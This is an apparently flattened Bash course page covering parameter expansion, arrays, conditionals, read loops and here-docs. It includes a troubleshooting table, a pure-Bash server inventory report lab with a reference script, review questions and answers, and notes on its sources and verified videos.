diff <(cmd1) <(cmd2) comm -3 <(sort a) <(sort b)
cmd | tee >(gzip > x.gz) >/dev/null
out=${ cmd; } # 5.3+: command substitution without fork
msg=${| f; } # 5.3+: take REPLYdeclare -p var arr map # inspect exact values
printf '%q\n' "$v" echo "${v@Q}"
echo "$BASHPID $$" # whether in a subshell
bash -n script.sh # syntax check
bash -x script.sh # execution trace
shellcheck script.sh # static analysis (Lesson 7)
echo "$BASH_VERSION"; shopt # version and options| Symptom / error | Most likely cause | Fix | Module |
|---|---|---|---|
value too great for base (error token is "08") | Leading 0 → octal | $(( 10#$v )) | M2 |
invalid arithmetic operator (error token is ".5…") | Decimals | scale up to integers / awk | M2 |
The script exits at the first (( n++ )) (it returns 1) | value is 0 → status 1 + set -e | (( ++n )) | M2 |
declare: -A: invalid option | Bash 3.2 | Upgrade,#!/usr/bin/env bash | M3 |
| an associative array has only one [0] element | forgot to declare -A | declare it first | M3 |
a[@]: unbound variable | Bash < 4.4 + set -u + empty array | upgrade or ${a[@]+"${a[@]}"} | M3 |
[: =: unary operator expected | unquoted empty variable | [[ ]] or quote it | M4 |
[ -n $x ] is true when x is empty | the argument is removed, leaving only "-n" | [[ -n $x ]] | M4 |
=~ never matches | regex quoted / used \d / end of line \r | regex in a variable, unquoted | M4 |
the loop receives a literal *.csv | glob has no matches | nullglob | M5 |
| variable is lost after the loop | cmd | while subshell | done < <(cmd) / lastpipe | M6 |
| last line not processed | missing trailing newline | || [[ -n $line ]] | M6 |
| while runs only once | a command in the loop body consumes stdin | </dev/null, fd 3 | M6 |
In the generated file, $variable disappears | here-doc delimiter not quoted | <<'EOF' | M7 |
delimited by end-of-file | end line has whitespace / CRLF / space indentation | flush left, LF | M7 |
#!/usr/bin/env bash
# Requires Bash ≥ 4.4 (associative arrays, empty arrays under set -u, mapfile -d)
(( BASH_VERSINFO[0] > 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 4) )) \
|| { echo "Requires Bash ≥ 4.4, current $BASH_VERSION" >&2; exit 3; }
set -u # full strict mode is in Lesson 4
shopt -s nullglob extglob # enable as needed
: "${DATA:=$HOME/bashlab/data}" # keep configuration defaults together at the top
declare -A counts=() # explicitly initialize arrays
declare -a items=()
inventory-report.shThe operations team needs a daily server inventory report: count hosts by environment and region, list the hosts in each environment, validate every line (hostname, environment, region and IP must be valid), list invalid lines separately, and support reporting on a single environment. The report is in Markdown and goes to the team channel. Requirements: No awk / sed / cut / sort or other external commands (except date ), runs on Bash ≥ 4.4 with explicit handling of lines without a trailing newline, CRLF line endings, and quoted commas. Lesson 3 turns it into opsctl servers list --env subcommands.
env (dev|staging|prod|all, default all, case-insensitive); the second argument is the CSV path (default ${DATA:-$HOME/bashlab/data}/servers.csv). An invalid env prints the usage and exit 2, and an unreadable file exit 2.
cd ~/bashlab/part2
cat > inventory-report.sh <<'EOF'
#!/usr/bin/env bash
set -u
want=${1:-all}; want=${want,,}
csv=${2:-${DATA:-$HOME/bashlab/data}/servers.csv}
case $want in dev|staging|prod|all) ;; *) echo "Usage: ${0##*/} [dev|staging|prod|all] [csv]" >&2; exit 2;; esac
[[ -r $csv ]] || { echo "Cannot read ${csv@Q}" >&2; exit 2; }
# TODO: steps 2–5
EOF
chmod +x inventory-report.shwhile IFS= read -r line || [[ -n $line ]] read line by line, first stripping trailing \r, then use IFS=, read -r -a f <<< "$line" to split into an array; skip the header and blank lines; lines whose field count is not 5 (lines with quoted commas) are recorded in the invalid array, with the reason.^[a-z][a-z0-9-]*[a-z0-9]$; environment case; region must be one of canadacentral|ca-central-1; IP uses a regex + each octet 10# ≤ 255. Invalid lines go into invalid (line number + reason + ${line@Q}).by_env,by_region,by_env_region["$env/$region"] (composite keys to simulate 2D),hosts_of["$env"] (space-separated hostname lists); only count lines that match want (all lines when all ).dev staging prod (defined by an array, not by associative-array iteration order); sort the region list with a small pure-Bash insertion sort.$(date +%F),$want, and totals), using a loop with printf for the table part; invalid lines are listed in another here-doc section. Reference output:
# Server inventory report (2026-11-17) - Scope: all - Valid hosts: 11; invalid lines: 1 | Environment | Hosts | Host list | |---|---|---| | dev | 3 | web-01 api-01 db-01 | | staging | 3 | web-01 api-01 db-01 | | prod | 5 | web-01 web-02 api-01 db-01 bastion-01 | | Region | Hosts | |---|---| | ca-central-1 | 4 | | canadacentral | 7 | ## Invalid lines - Line 11: field count 6 ≠ 5 (may contain quoted commas): 'edge-01,prod,ca-central-1,10.30.2.51,"web,api"'
prod actually has 6 hosts, but the report shows only 5: the edge-01 line was judged invalid because of a CSV quoting problem. This is deliberate: IFS=, it cannot be parsed reliably, and listing it explicitly is better than silently miscounting. Lesson 6 uses the same content as a inventory.json with jq to get the correct result.
./inventory-report.sh,./inventory-report.sh PROD,./inventory-report.sh qa (rc=2),./inventory-report.sh all /nonexistent (rc=2), and run it on a copy with CRLF and no trailing newline on the last line (the result should match the original file); in bash:5.3 a container, run it once as well: docker run --rm -v "$PWD":/work -v "$DATA":/data -w /work bash:5.3 bash inventory-report.sh all /data/servers.csv (inside the container, date comes from BusyBox,+%F which also supports it).#!/usr/bin/env bash
# inventory-report.sh — pure Bash server inventory report (reference implementation for the Lesson 2 capstone lab)
set -u
want=${1:-all}; want=${want,,}
csv=${2:-${DATA:-$HOME/bashlab/data}/servers.csv}
case $want in dev|staging|prod|all) ;; *) echo "Usage: ${0##*/} [dev|staging|prod|all] [csv]" >&2; exit 2;; esac
[[ -r $csv ]] || { echo "Cannot read ${csv@Q}" >&2; exit 2; }
declare -A by_env=() by_region=() hosts_of=()
declare -a invalid=() envs=(dev staging prod)
declare -i lineno=0 valid=0
ip_re='^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$'
while IFS= read -r line || [[ -n $line ]]; do
(( ++lineno ))
line=${line%$'\r'}
[[ -z $line || $lineno -eq 1 ]] && continue
IFS=, read -r -a f <<< "$line"
if (( ${#f[@]} != 5 )); then
invalid+=("Line $lineno: field count ${#f[@]} ≠ 5 (may contain quoted commas): ${line@Q}"); continue
fi
name=${f[0]} env=${f[1]} region=${f[2]} ip=${f[3]}
reason=
[[ $name =~ ^[a-z][a-z0-9-]*[a-z0-9]$ ]] || reason="invalid hostname"
case $env in dev|staging|prod) ;; *) reason+="${reason:+; }invalid environment" ;; esac
case $region in canadacentral|ca-central-1) ;; *) reason+="${reason:+; }invalid region" ;; esac
if [[ $ip =~ $ip_re ]]; then
for o in "${BASH_REMATCH[@]:1}"; do (( 10#$o <= 255 )) || { reason+="${reason:+; }IP octet $o > 255"; break; }; done
else
reason+="${reason:+; }invalid IP format"
fi
if [[ -n $reason ]]; then invalid+=("Line $lineno: $reason: ${line@Q}"); continue; fi
[[ $want == all || $want == "$env" ]] || continue
(( ++valid, ++by_env[$env], ++by_region[$region] ))
hosts_of[$env]+="${hosts_of[$env]:+ }$name"
done < "$csv"
# Region name insertion sort (pure Bash, string comparison)
regions=()
for r in "${!by_region[@]}"; do
i=${#regions[@]}
while (( i > 0 )) && [[ ${regions[i-1]} > $r ]]; do regions[i]=${regions[i-1]}; (( i-- )); done
regions[i]=$r
done
cat <<EOF
# Server inventory report ($(date +%F))
- Scope: $want
- Valid hosts: $valid; invalid lines: ${#invalid[@]}
| Environment | Hosts | Host list |
|---|---|---|
EOF
for e in "${envs[@]}"; do
[[ $want == all || $want == "$e" ]] || continue
printf '| %s | %d | %s |\n' "$e" "${by_env[$e]:-0}" "${hosts_of[$e]:-}"
done
printf '\n| Region | Hosts |\n|---|---|\n'
for r in "${regions[@]}"; do printf '| %s | %d |\n' "$r" "${by_region[$r]}"; done
if (( ${#invalid[@]} )); then
printf '\n## Invalid lines\n'
printf -- '- %s\n' "${invalid[@]}"
fi# cleanup (keep inventory-report.sh and logstats.sh)
rm -rf -- ~/bashlab/part2/m{1..8}${f%.*} and ${f%%.*} on backup.tar.gz results, and explain how to remember # and %.${f%.*} remove the shortest ".anything" suffix → backup.tar; ${f%%.*} remove the longest → backup. On the keyboard, # is to the left of $ (removes from the left = prefix), and % is to the right of $ (removes from the right = suffix); writing the symbol twice means greedy.
m=$(date +%m); echo $((m+1)) fail only in August and September? Give two fixes."08" and "09" start with 0 and are treated as octal, but 8 and 9 are not octal digits; "01"–"07" happen to equal their decimal values in octal, and "10"–"12" do not start with 0. Fixes: $((10#$m + 1)); or have date output the value without leading zeros (GNU date +%-m).
"${arr[@]}","${arr[*]}",${arr[@]} — in which situations is each one used?The first form: almost every case (iteration, passing arguments), one word per element; the second form: when joining the array into a single string, use a local IFS to set the separator; the third form (unquoted): almost never used, since it performs word splitting and globbing again.
grep x f | while read -r l; do n=$((n+1)); done; echo $n the full reason the output is empty, and three fixes.Each element of a pipeline runs in its own child process; the while loop modifies its own copy of variables in a forked subshell, and the changes vanish when the subshell exits. Fixes: done < <(grep x f) (process substitution keeps the loop in the current shell); in a script, shopt -s lastpipe (with job control off, the last pipeline element runs in the current shell); or simply n=$(grep -c x f).
[ ], and when do you use [[ ]], and when do you use (( ))?When POSIX sh compatibility is needed, use [ ] and quote all variables; in Bash scripts, strings, patterns, regexes and file tests use [[ ]]; numeric comparisons and calculations use (( )). All three participate in if / && / || through their exit status.
$remote_addr) and script variables ($port). How would you write it?Separate the parts that need expansion from those that must not be expanded: use printf or an unquoted here-doc for the script-variable part, and <<'EOF'; or use an unquoted here-doc for everything and write the nginx variables as \$remote_addr. After generating, check with nginx -t .
| Topic | Verified conclusion | Source (accessed 2026-11-17) |
|---|---|---|
| Current Bash version | Upstream 5.3 (manual Edition 5.3, updated 2025-05-18; 5.3 released 2025-07), official patches up to bash53-020; Docker official image tag bash:5.3 / 5.3.20 exists (also 5.2.37, 3.2.57, etc.); the Ubuntu 26.04 (resolute) package is 5.3-2ubuntu1 | ftp.gnu.org/gnu/bash · bash-5.3-patches · Docker Hub: bash · Launchpad: bash |
| Bash 5.3 new features: | ${ command; } and ${|command;} (command substitution without fork), GLOBSORT,array_expand_once (replaces assoc_expand_once),read -E,source -p, BASH_MONOSECONDS, BASH_TRAPSIG,[[ =~ ]] errors when the regex fails to compile | Bash NEWS (bash-5.3 branch) |
| 5.2 / 5.1 / 4.4 changes | 5.2: patsub_replacement (enabled by default),globskipdots (enabled by default); 5.1: here-doc and here-string use a pipe when smaller than the pipe buffer, process substitution is available in POSIX mode,@U @u @L @K transformations; 4.4: "${a[@]}" no longer errors on empty arrays under nounset (CHANGES wording),$! can wait for the most recent process substitution,mapfile -d; 4.2: lastpipe (no effect when job control is enabled) | NEWS · CHANGES |
| Pipelines and subshells | “Each command in a multi-command pipeline … is executed in its own subshell … If the lastpipe option is enabled … and job control is not active, the last element of a pipeline may be run by the shell process.” | Bash manual: Pipelines |
| Parameter expansion, arithmetic, arrays, conditionals, loops, redirection | section semantics (base rules, 64-bit integers without overflow checks, associative arrays need declare -A,[[ ]] no word splitting or globbing, here-doc delimiter quoting rules) | GNU Bash Reference Manual 5.3 |
| POSIX sh | Parameter expansion # ## % %% :- etc. are POSIX; arrays,[[ ]],<<<, and process substitution is not | POSIX.1-2024 Shell Command Language |
| ShellCheck rules | SC2068 (quote array expansion), SC2070 (-n vs unquoted arguments), SC2030/SC2031 (variable changes in a subshell) | ShellCheck Wiki |
| Style guidance | Prefer Bash scripts: [[ ]] and (( )), array passing, and avoid let/expr/$[ ] | Google Shell Style Guide |
| Measured snippets | Outputs labeled "Actual output (Bash 5.2.37)" were all run on the machine used to build this course (Git Bash 5.2.37 on Windows, with scripts placed in a temp directory); they include the octal error and "discarding the current line", 64-bit wraparound,(( i++ )) status, arithmetic injection,[ -n $x ] is true,[[ 08 -eq 8 ]] errors, empty arrays and set -u (including declare -a b after ${#b[@]} errors),unset "m[$k]" double quotes execute command substitution inside keys, and the pipe / process substitution / lastpipe $BASHPID, the last line without a newline, and all logstats.sh output | Course page build notes |
The following videos were verified through the YouTube oEmbed API (2026-11-17) for title and channel: You Suck at Programming, "Basic Parameter Expansion in Bash - You Suck at Programming #026" (Bzi7pa7y15M); "Using Parameter Transformation in Bash! really neat variable tricks - You Suck at Programming #056" (HTqbVB4mMv8); "Why `&` is such a problem with Parameter Expansion in Bash! You Suck at Programming #074" (6rWVtwrkiA8); "Bash Arithmetic Expressions Explained" (r50qEw4ZpAY); "Arrays in Bash Explained in 7 Minutes! - Indexed, Associative, and Nested / Multi-Dimensional" (asHJ-xfuyno); "Arrays in Pure Bash - You Suck at Programming #020" (r4Sc-DpIprk); "Understanding the IFS in Bash! Stringify Arrays easily - You Suck at Programming #030" (i7qr3fDNQTo); "test vs [ vs [[: Bash Conditionals Explained! You Suck at Programming #066" (6QdNixBS4wc); "Proper `for` loops in Bash - `for` vs `while` loops - You Suck at Programming #038" (TVzG-vc1lWM); "Read Input Line by Line in Bash" (SkH0G8ktJyM); "Using read in bash to quickly parse files line-by-line" (L6Votf_uoIM); "Bash `read` command instead of `cut` and `tr` - You Suck at Programming #005" (gB1OFgiilzQ); "Understanding The `mapfile` builtin in Bash - You Suck at Programming #040" (Z7Ie7NrUQV0); "Heredocs in Bash! Understanding how they work and a few gotchas. You Suck at Programming #069" (-a1VAole01s); "Command vs. Process substitution in Bash - explaining the difference. You Suck at Programming #073" (f3eIK5xk4vg); "heredocs vs. printf for multiline inserts in bash scripts" (hCji0vRGHe8); Learn Linux TV, "How To Write Bash Scripts In Linux - Complete Guide" series Part 3 Variables (uQE_4Q-HZZw), Part 4 Basic Math (YDnp2oEiF64), Part 5 If Statements (YrE1Qg-Aw0Q), Part 6 Exit Codes (6N4RNPRx0xs), Part 7 While Loops (R0tTsdQ_9Vw), Part 9 For Loops (HvzI7c3eK5k), Part 13 Case Statements (3hnn8XoS2pY); Nick Janetakis, "Associative Arrays in Bash (AKA Key-Value Dictionaries)" (HxGC7SS3WWI); Hak5, "What is a heredoc? Here Documents Explained | Linux Terminal 201 - HakTip 179" (Ae4p7rgUo28); freeCodeCamp.org, "Bash Scripting Tutorial for Beginners" (tK9Oc6AEnR4); Fireship, "Bash in 100 Seconds" (I4EWvMFj37g). Only the titles and channels were verified; the content of each video was not reviewed one by one. Older videos do not cover the Bash 5.2 / 5.3 changes. No verified dedicated video was found for the topics "octal and arithmetic injection", "variables lost in pipeline subshells" and "pure-Bash log statistics", so storyboards are provided for them instead.
The "Audio" tab reads the narration aloud using the browser's Web Speech API (en-US); English terms are pronounced with en-US, and the result depends on the system's voice packs. This course page does not embed MP3 files; if you need offline audio, hand the narration script to a TTS service to generate it.
${ cmd; },${| cmd; }) outputs are "examples" written from NEWS and the manual, not actually run. The other snippets labeled "actual output" ran on 5.2.37; these behaviors are expected to be the same in Bash 5.3, but they have not been re-checked on 5.3 one by one.make-data.sh from the Lesson 1 page as-is into a temp directory and running it (the cksum of the generated access.log / servers.csv matches the 80306651 79109 / 3087317886 526 given in Lesson 1), so your results on ~/bashlab/data should match byte for byte; only paths, PIDs, file sizes and dates are example values. The Module 8 animation and the 10-line sample in the Module 0 collapsible section are for demonstration only.${v@Q} , and the way Chinese text is displayed, may differ from your system; where relevant, this has been changed to "expected output in a UTF-8 locale".clone() flags; the Module 7 animation omits the details of creating temp files (O_EXCL, immediate unlink).${#v},${v:off:len} counts characters in a multibyte locale, and in LC_ALL=C it counts bytes; this lesson does not go into detail.